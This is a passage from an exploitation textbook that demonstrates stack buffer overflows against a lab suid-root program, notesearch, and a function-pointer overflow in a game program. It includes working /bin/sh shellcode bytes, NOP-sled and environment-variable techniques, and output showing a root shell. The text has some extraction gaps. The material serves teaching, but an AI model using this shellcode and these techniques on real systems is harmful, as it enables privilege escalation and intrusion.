(gdb) cont Continuing. Breakpoint 2, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:27 27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1); (gdb) x/40x buffer 0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6f6 0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 (gdb) x/s command 0x804a008: "./notesearch '", '\220' , "¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿ ¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿" (gdb)

Finally, the call to memcpy() will copy the shellcode bytes into buffer+60.
(gdb) cont Continuing. Breakpoint 3, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:29 29 strcat(command, "\'"); (gdb) x/40x buffer 0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a046: 0x90909090 0x90909090 0x90909090 0x3158466a 0x804a056: 0xcdc931db 0x2f685180 0x6868732f 0x6e69622f 0x804a066: 0x5351e389 0xb099e189 0xbf80cd0b 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 (gdb) x/s command 0x804a008: "./notesearch '", '\220' , "1À1Û1É\231°¤Í\200j\vXQh//shh/ bin\211ãQ\211âS\211áÍ\200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿" (gdb)

Now the buffer contains the desired shellcode and is long enough to overwrite the return address. The difficulty of finding the exact location of the return address is eased by using the repeated return address technique. But this return address must point to the shellcode located in the same buffer. This means the actual address must be known ahead of time, before it even goes into memory. This can be a difficult prediction to try to make with a dynamically changing stack. Fortunately, there is another hacking technique,

Ex pl oit a ti on

139

called the NOP sled, that can assist with this difficult chicanery. NOP is an assembly instruction that is short for no operation. It is a single-byte instruction that does absolutely nothing. These instructions are sometimes used to waste computational cycles for timing purposes and are actually necessary in the Sparc processor architecture, due to instruction pipelining. In this case, NOP instructions are going to be used for a different purpose: as a fudge factor. We’ll create a large array (or sled) of these NOP instructions and place it before the shellcode; then, if the EIP register points to any address found in the NOP sled, it will increment while executing each NOP instruction, one at a time, until it finally reaches the shellcode. This means that as long as the return address is overwritten with any address found in the NOP sled, the EIP register will slide down the sled to the shellcode, which will execute properly. On the x86 architecture, the NOP instruction is equivalent to the hex byte 0x90. This means our completed exploit buffer looks something like this:
NOP sled Shellcode Repeated return address

Even with a NOP sled, the approximate location of the buffer in memory must be predicted in advance. One technique for approximating the memory location is to use a nearby stack location as a frame of reference. By subtracting an offset from this location, the relative address of any variable can be obtained. From exploit_notesearch.c unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // Zero out the new memory. strcpy(command, "./notesearch \'"); // Start command buffer. buffer = command + strlen(command); // Set buffer at the end. if(argc > 1) // Set offset. offset = atoi(argv[1]); ret = (unsigned int) &i - offset; // Set return address.

In the notesearch exploit, the address of the variable i in main()’s stack frame is used as a point of reference. Then an offset is subtracted from that value; the result is the target return address. This offset was previously determined to be 270, but how is this number calculated? The easiest way to determine this offset is experimentally. The debugger will shift memory around slightly and will drop privileges when the suid root notesearch program is executed, making debugging much less useful in this case.

140

0x 300

Since the notesearch exploit allows an optional command-line argument to define the offset, different offsets can quickly be tested. reader@hacking:~/booksrc $ gcc exploit_notesearch.c reader@hacking:~/booksrc $ ./a.out 100 -------[ end of note data ]------reader@hacking:~/booksrc $ ./a.out 200 -------[ end of note data ]------reader@hacking:~/booksrc $

However, doing this manually is tedious and stupid. BASH also has a for loop that can be used to automate this process. The seq command is a simple program that generates sequences of numbers, which is typically used with looping. reader@hacking:~/booksrc $ seq 1 10 1 2 3 4 5 6 7 8 9 10 reader@hacking:~/booksrc $ seq 1 3 10 1 4 7 10 reader@hacking:~/booksrc $

When only two arguments are used, all the numbers from the first argument to the second are generated. When three arguments are used, the middle argument dictates how much to increment each time. This can be used with command substitution to drive BASH’s for loop. reader@hacking:~/booksrc $ for i in $(seq 1 3 10) > do > echo The value is $i > done The value is 1 The value is 4 The value is 7 The value is 10 reader@hacking:~/booksrc $

Ex pl oit a ti on

141

The function of the for loop should be familiar, even if the syntax is a little different. The shell variable $i iterates through all the values found in the grave accents (generated by seq). Then everything between the do and done keywords is executed. This can be used to quickly test many different offsets. Since the NOP sled is 60 bytes long, and we can return anywhere on the sled, there is about 60 bytes of wiggle room. We can safely increment the offset loop with a step of 30 with no danger of missing the sled. reader@hacking:~/booksrc $ for i in $(seq 0 30 300) > do > echo Trying offset $i > ./a.out $i > done Trying offset 0 [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999

When the right offset is used, the return address is overwritten with a value that points somewhere on the NOP sled. When execution tries to return to that location, it will just slide down the NOP sled into the injected shellcode instructions. This is how the default offset value was discovered.

0x331 Using the Environment
Sometimes a buffer will be too small to hold even shellcode. Fortunately, there are other locations in memory where shellcode can be stashed. Environment variables are used by the user shell for a variety of things, but what they are used for isn’t as important as the fact they are located on the stack and can be set from the shell. The example below sets an environment variable called MYVAR to the string test. This environment variable can be accessed by prepending a dollar sign to its name. In addition, the env command will show all the environment variables. Notice there are several default environment variables already set. reader@hacking:~/booksrc $ export MYVAR=test reader@hacking:~/booksrc $ echo $MYVAR test reader@hacking:~/booksrc $ env SSH_AGENT_PID=7531 SHELL=/bin/bash DESKTOP_STARTUP_ID= TERM=xterm GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2 WINDOWID=39845969 OLDPWD=/home/reader USER=reader LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=4 0;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01; 31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:* .rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35 :*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;

142

0x 300

35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01; 35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35: SSH_AUTH_SOCK=/tmp/ssh-EpSEbS7489/agent.7489 GNOME_KEYRING_SOCKET=/tmp/keyring-AyzuEi/socket SESSION_MANAGER=local/hacking:/tmp/.ICE-unix/7489 USERNAME=reader DESKTOP_SESSION=default.desktop PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games GDM_XSERVER_LOCATION=local PWD=/home/reader/booksrc LANG=en_US.UTF-8 GDMSESSION=default.desktop HISTCONTROL=ignoreboth HOME=/home/reader SHLVL=1 GNOME_DESKTOP_SESSION_ID=Default LOGNAME=reader DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbusDxW6W1OH1O,guid=4f4e0e9cc6f68009a059740046e28e35 LESSOPEN=| /usr/bin/lesspipe %s DISPLAY=:0.0 MYVAR=test LESSCLOSE=/usr/bin/lesspipe %s %s RUNNING_UNDER_GDM=yes COLORTERM=gnome-terminal XAUTHORITY=/home/reader/.Xauthority _=/usr/bin/env reader@hacking:~/booksrc $

Similarly, the shellcode can be put in an environment variable, but first it needs to be in a form we can easily manipulate. The shellcode from the notesearch exploit can be used; we just need to put it into a file in binary form. The standard shell tools of head, grep, and cut can be used to isolate just the hex-expanded bytes of the shellcode. reader@hacking:~/booksrc $ head exploit_notesearch.c #include #include #include char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\"" "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\"" | cut -d\" -f2 \x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68

Ex pl oit a ti on

143

\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89 \xe1\xcd\x80 reader@hacking:~/booksrc $

The first 10 lines of the program are piped into grep, which only shows the lines that begin with a quotation mark. This isolates the lines containing the shellcode, which are then piped into cut using options to display only the bytes between two quotation marks. BASH’s for loop can actually be used to send each of these lines to an echo command, with command-line options to recognize hex expansion and to suppress adding a newline character to the end. reader@hacking:~/booksrc > do > echo -en $i > done > shellcode.bin reader@hacking:~/booksrc 00000000 31 c0 31 db 31 00000010 2f 2f 73 68 68 00000020 e1 cd 80 00000023 reader@hacking:~/booksrc $ for i in $(head exploit_notesearch.c | grep "^\"" | cut -d\" -f2)

$ hexdump -C shellcode.bin c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 62 69 6e 89 e3 51 89 e2 53 89

|1.1.1......j.XQh| |//shh/bin..Q..S.| |...|

$

Now we have the shellcode in a file called shellcode.bin. This can be used with command substitution to put shellcode into an environment variable, along with a generous NOP sled. reader@hacking:~/booksrc $ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin) reader@hacking:~/booksrc $ echo $SHELLCODE

1 1 1 reader@hacking:~/booksrc $

j XQh//shh/bin

Q

S

And just like that, the shellcode is now on the stack in an environment variable, along with a 200-byte NOP sled. This means we just need to find an address somewhere in that range of the sled to overwrite the saved return address with. The environment variables are located near the bottom of the stack, so this is where we should look when running notesearch in a debugger. reader@hacking:~/booksrc $ gdb -q ./notesearch Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804873c (gdb) run Starting program: /home/reader/booksrc/notesearch Breakpoint 1, 0x0804873c in main () (gdb)

144

0x 300

A breakpoint is set at the beginning of main(), and the program is run. This will set up memory for the program, but it will stop before anything happens. Now we can examine memory down near the bottom of the stack.
(gdb) i r esp esp 0xbffff660 0xbffff660 (gdb) x/24s $esp + 0x240 0xbffff8a0: "" 0xbffff8a1: "" 0xbffff8a2: "" 0xbffff8a3: "" 0xbffff8a4: "" 0xbffff8a5: "" 0xbffff8a6: "" 0xbffff8a7: "" 0xbffff8a8: "" 0xbffff8a9: "" 0xbffff8aa: "" 0xbffff8ab: "i686" 0xbffff8b0: "/home/reader/booksrc/notesearch" 0xbffff8d0: "SSH_AGENT_PID=7531" 0xbffffd56: "SHELLCODE=", '\220' ... 0xbffff9ab: "\220\220\220\220\220\220\220\220\220\2201�1�1�\231���\200j\vXQh// shh/bin\211�Q\211�S\211��\200" 0xbffff9d9: "TERM=xterm" 0xbffff9e4: "DESKTOP_STARTUP_ID=" 0xbffff9f8: "SHELL=/bin/bash" 0xbffffa08: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2" 0xbffffa43: "WINDOWID=39845969" 0xbffffa55: "USER=reader" 0xbffffa61: "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or= 40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01 ;31:*.taz=0"... 0xbffffb29: "1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;3 1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01 ;35:*.tga=0"... (gdb) x/s 0xbffff8e3 0xbffff8e3: "SHELLCODE=", '\220' ... (gdb) x/s 0xbffff8e3 + 100 0xbffff947: '\220' , "1�1�1�\231���\200j\vXQh//shh/bin\ 211�Q\211�S\211��\200" (gdb)

The debugger reveals the location of the shellcode, shown in bold above. (When the program is run outside of the debugger, these addresses might be a little different.) The debugger also has some information on the stack, which shifts the addresses around a bit. But with a 200-byte NOP sled, these inconsistencies aren’t a problem if an address near the middle of the sled is picked. In the output above, the address 0xbffff947 is shown to be close to the middle of the NOP sled, which should give us enough wiggle room. After determining the address of the injected shellcode instructions, the exploitation is simply a matter of overwriting the return address with this address.
Ex pl oit a ti on

145

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x47\xf9\xff\xbf"x40') [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------sh-3.2# whoami root sh-3.2#

The target address is repeated enough times to overflow the return address, and execution returns into the NOP sled in the environment variable, which inevitably leads to the shellcode. In situations where the overflow buffer isn’t large enough to hold shellcode, an environment variable can be used with a large NOP sled. This usually makes exploitations quite a bit easier. A huge NOP sled is a great aid when you need to guess at the target return addresses, but it turns out that the locations of environment variables are easier to predict than the locations of local stack variables. In C’s standard library there is a function called getenv(), which accepts the name of an environment variable as its only argument and returns that variable’s memory address. The code in getenv_example.c demonstrates the use of getenv(). getenv_example.c
#include #include int main(int argc, char *argv[]) { printf("%s is at %p\n", argv[1], getenv(argv[1])); }

When compiled and run, this program will display the location of a given environment variable in its memory. This provides a much more accurate prediction of where the same environment variable will be when the target program is run. reader@hacking:~/booksrc $ gcc getenv_example.c reader@hacking:~/booksrc $ ./a.out SHELLCODE SHELLCODE is at 0xbffff90b reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x0b\xf9\xff\xbf"x40') [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------sh-3.2#

This is accurate enough with a large NOP sled, but when the same thing is attempted without a sled, the program crashes. This means the environment prediction is still off. reader@hacking:~/booksrc $ export SLEDLESS=$(cat shellcode.bin) reader@hacking:~/booksrc $ ./a.out SLEDLESS SLEDLESS is at 0xbfffff46

146

0x 300

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x46\xff\xff\xbf"x40') [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $

In order to be able to predict an exact memory address, the differences in the addresses must be explored. The length of the name of the program being executed seems to have an effect on the address of the environment variables. This effect can be further explored by changing the name of the program and experimenting. This type of experimentation and pattern recognition is an important skill for a hacker to have. reader@hacking:~/booksrc $ cp a.out a reader@hacking:~/booksrc $ ./a SLEDLESS SLEDLESS is at 0xbfffff4e reader@hacking:~/booksrc $ cp a.out bb reader@hacking:~/booksrc $ ./bb SLEDLESS SLEDLESS is at 0xbfffff4c reader@hacking:~/booksrc $ cp a.out ccc reader@hacking:~/booksrc $ ./ccc SLEDLESS SLEDLESS is at 0xbfffff4a reader@hacking:~/booksrc $ ./a.out SLEDLESS SLEDLESS is at 0xbfffff46 reader@hacking:~/booksrc $ gdb -q (gdb) p 0xbfffff4e - 0xbfffff46 $1 = 8 (gdb) quit reader@hacking:~/booksrc $

As the preceding experiment shows, the length of the name of the executing program has an effect on the location of exported environment variables. The general trend seems to be a decrease of two bytes in the address of the environment variable for every single-byte increase in the length of the program name. This holds true with the program name a.out, since the difference in length between the names a.out and a is four bytes, and the difference between the address 0xbfffff4e and 0xbfffff46 is eight bytes. This must mean the name of the executing program is also located on the stack somewhere, which is causing the shifting. Armed with this knowledge, the exact address of the environment variable can be predicted when the vulnerable program is executed. This means the crutch of a NOP sled can be eliminated. The getenvaddr.c program adjusts the address based on the difference in program name length to provide a very accurate prediction. getenvaddr.c
#include #include #include

Ex pl oit a ti on

147

int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s \n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* Get env var location. */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */ printf("%s will be at %p\n", argv[1], ptr); }

When compiled, this program can accurately predict where an environment variable will be in memory during a target program’s execution. This can be used to exploit stack-based buffer overflows without the need for a NOP sled. reader@hacking:~/booksrc $ gcc -o getenvaddr getenvaddr.c reader@hacking:~/booksrc $ ./getenvaddr SLEDLESS ./notesearch SLEDLESS will be at 0xbfffff3c reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x40') [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999

As you can see, exploit code isn’t always needed to exploit programs. The use of environment variables simplifies things considerably when exploiting from the command line, but these variables can also be used to make exploit code more reliable. The system() function is used in the notesearch_exploit.c program to execute a command. This function starts a new process and runs the command using /bin/sh -c. The -c tells the sh program to execute commands from the command-line argument passed to it. Google’s code search can be used to find the source code for this function, which will tell us more. Go to http://www.google.com/codesearch?q=package:libc+system to see this code in its entirety. Code from libc-2.2.2 int system(const char * cmd) { int ret, pid, waitstat; void (*sigint) (), (*sigquit) (); if ((pid = fork()) == 0) { execl("/bin/sh", "sh", "-c", cmd, NULL); exit(127); } if (pid < 0) return(127 7)) printf("\n[!!] The number %d is an invalid selection.\n\n", choice); else if (choice < 4) { // Otherwise, choice was a game of some sort. if(choice != last_game) { // If the function ptr isn't set, if(choice == 1) // then point it at the selected game player.current_game = pick_a_number; else if(choice == 2) player.current_game = dealer_no_match; else player.current_game = find_the_ace; last_game = choice; // and set last_game. } play_the_game(); // Play the game. }

If last_game isn’t the same as the current choice, the function pointer of current_game is changed to the appropriate game. This means that in order to get the program to call the function pointer without overwriting it, a game must be played first to set the last_game variable. reader@hacking:~/booksrc $ ./game_of_chance -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 70 credits] -> 1 [DEBUG] current_game pointer @ 0x08048fde ####### Pick a Number ###### This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits! 10 credits have been deducted from your account. Pick a number between 1 and 20: 5 The winning number is 17 Sorry, you didn't win. You now have 60 credits Would you like to play again? (y/n) n -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits
Ex pl oit a ti on

157

7 - Quit [Name: Jon Erickson] [You have 60 credits] -> [1]+ Stopped reader@hacking:~/booksrc $

./game_of_chance

You can temporarily suspend the current process by pressing CTRL-Z. At this point, the last_game variable has been set to 1, so the next time 1 is selected, the function pointer will simply be called without being changed. Back at the shell, we figure out an appropriate overflow buffer, which can be copied and pasted in as a name later. Recompiling the source with debugging symbols and using GDB to run the program with a breakpoint on main() allows us to explore the memory. As the output below shows, the name buffer is 100 bytes from the current_game pointer within the user structure. reader@hacking:~/booksrc $ gcc -g game_of_chance.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x8048813: file game_of_chance.c, line 41. (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main () at game_of_chance.c:41 41 srand(time(0)); // Seed the randomizer with the current time. (gdb) p player $1 = {uid = 0, credits = 0, highscore = 0, name = '\0' , current_game = 0} (gdb) x/x &player.name 0x804b66c : 0x00000000 (gdb) x/x &player.current_game 0x804b6d0 : 0x00000000 (gdb) p 0x804b6d0 - 0x804b66c $2 = 100 (gdb) quit The program is running. Exit anyway? (y or n) y reader@hacking:~/booksrc $

Using this information, we can generate a buffer to overflow the name variable with. This can be copied and pasted into the interactive Game of Chance program when it is resumed. To return to the suspended process, just type fg, which is short for foreground. reader@hacking:~/booksrc $ perl -e 'print "A"x100 . "BBBB" . "\n"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABBBB reader@hacking:~/booksrc $ fg ./game_of_chance 5 Change user name

158

0x 300

Enter your new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Your name has been changed. -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB] [You have 60 credits] -> 1 [DEBUG] current_game pointer @ 0x42424242 Segmentation fault reader@hacking:~/booksrc $

Select menu option 5 to change the username, and paste in the overflow buffer. This will overwrite the function pointer with 0x42424242. When menu option 1 is selected again, the program will crash when it tries to call the function pointer. This is proof that execution can be controlled; now all that’s needed is a valid address to insert in place of BBBB. The nm command lists symbols in object files. This can be used to find addresses of various functions in a program. reader@hacking:~/booksrc $ nm game_of_chance 0804b508 d _DYNAMIC 0804b5d4 d _GLOBAL_OFFSET_TABLE_ 080496c4 R _IO_stdin_used w _Jv_RegisterClasses 0804b4f8 d __CTOR_END__ 0804b4f4 d __CTOR_LIST__ 0804b500 d __DTOR_END__ 0804b4fc d __DTOR_LIST__ 0804a4f0 r __FRAME_END__ 0804b504 d __JCR_END__ 0804b504 d __JCR_LIST__ 0804b630 A __bss_start 0804b624 D __data_start 08049670 t __do_global_ctors_aux 08048610 t __do_global_dtors_aux 0804b628 D __dso_handle w __gmon_start__ 08049669 T __i686.get_pc_thunk.bx 0804b4f4 d __init_array_end 0804b4f4 d __init_array_start 080495f0 T __libc_csu_fini 08049600 T __libc_csu_init U __libc_start_main@@GLIBC_2.0

Ex pl oit a ti on

159

0804b630 0804b6d4 080496a0 080496c0 08048484 080485c0 080485e4

A _edata A _end T _fini R _fp_hw T _init T _start t call_gmon_start U close@@GLIBC_2.0 0804b640 b completed.1 0804b624 W data_start 080490d1 T dealer_no_match 080486fc T dump 080486d1 T ec_malloc U exit@@GLIBC_2.0 08048684 T fatal 080492bf T find_the_ace 08048650 t frame_dummy 080489cc T get_player_data U getuid@@GLIBC_2.0 08048d97 T input_name 08048d70 T jackpot 08048803 T main U malloc@@GLIBC_2.0 U open@@GLIBC_2.0 0804b62c d p.0 U perror@@GLIBC_2.0 08048fde T pick_a_number 08048f23 T play_the_game 0804b660 B player 08048df8 T print_cards U printf@@GLIBC_2.0 U rand@@GLIBC_2.0 U read@@GLIBC_2.0 08048aaf T register_new_player U scanf@@GLIBC_2.0 08048c72 T show_highscore U srand@@GLIBC_2.0 U strcpy@@GLIBC_2.0 U strncat@@GLIBC_2.0 08048e91 T take_wager U time@@GLIBC_2.0 08048b72 T update_player_data U write@@GLIBC_2.0 reader@hacking:~/booksrc $

The jackpot() function is a wonderful target for this exploit. Even though the games give terrible odds, if the current_game function pointer is carefully overwritten with the address of the jackpot() function, you won’t even have to play the game to win credits. Instead, the jackpot() function will just be called directly, doling out the reward of 100 credits and tipping the scales in the player’s direction. This program takes its input from standard input. The menu selections can be scripted in a single buffer that is piped to the program’s standard
160
0x 300

input. These selections will be made as if they were typed. The following example will choose menu item 1, try to guess the number 7, select n when asked to play again, and finally select menu item 7 to quit. reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 60 credits] -> [DEBUG] current_game pointer @ 0x08048fde ####### Pick a Number ###### This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits! 10 credits have been deducted from your account. Pick a number between 1 and 20: The winning number is 20 Sorry, you didn't win. You now have 50 credits Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 50 credits] -> Thanks for playing! Bye. reader@hacking:~/booksrc $

This same technique can be used to script everything needed for the exploit. The following line will play the Pick a Number game once, then change the username to 100 A’s followed by the address of the jackpot() function. This will overflow the current_game function pointer, so when the Pick a Number game is played again, the jackpot() function is called directly. reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\ x8d\x04\x08\n" . "1\nn\n" . "7\n"' 1 5

Ex pl oit a ti on

161

n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAp? 1 n 7 reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\ x8d\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 50 credits] -> [DEBUG] current_game pointer @ 0x08048fde ####### Pick a Number ###### This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits! 10 credits have been deducted from your account. Pick a number between 1 and 20: The winning number is 15 Sorry, you didn't win. You now have 40 credits Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 40 credits] -> Change user name Enter your new name: Your name has been changed. -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 40 credits] ->

162

0x 300

[DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 140 credits Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 140 credits] -> Thanks for playing! Bye. reader@hacking:~/booksrc $

